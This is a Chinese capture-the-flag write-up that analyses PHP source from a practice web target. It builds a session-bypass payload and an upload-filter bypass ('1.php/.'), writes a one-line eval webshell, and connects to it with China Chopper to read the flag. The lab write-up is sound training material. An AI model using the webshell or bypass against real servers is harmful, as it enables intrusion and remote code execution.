题目描述:工控云管理系统项目管理页面解析漏洞
查看view-source下三段代码
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
存在page参数并且page不等于index.php,才包含flag.php
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
session的用户须为admin,$filename="backup/".$file表示上传文件时的路径在backup后面,con是向file中写入文件内容(想到了文件上传),preg_match对后缀进行了过滤,过滤的后缀的是.php3,.php4,.php4,php5,.php7,.t,.tml其中并不会区分大小写。chdir()函数切换了路径。
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
floatval ()函数用于获取变量的浮点值。doubleval 是 floatval 的别名。
substr() 函数返回字符串的一部分。代码中的意思为字符串最后一位9
页面代码分析完毕,整合思考,
从而构造payload: ?page=flag.php&id=1-9&submit
(1)文件上传构造的payload:
con=<?php @eval($_POST['123']);?>&file=1.php/.
一句话木马
(2)通过火狐浏览器的hackbar上传到服务器端。
(3)查看靶机的上传文件页面可以看到文件上传成功。
(4)用菜刀连接一句话菜刀,填写1.php所在地址以及添加密码。
(5) 成功获取靶机的webshell,进而查看flag.php的flag值。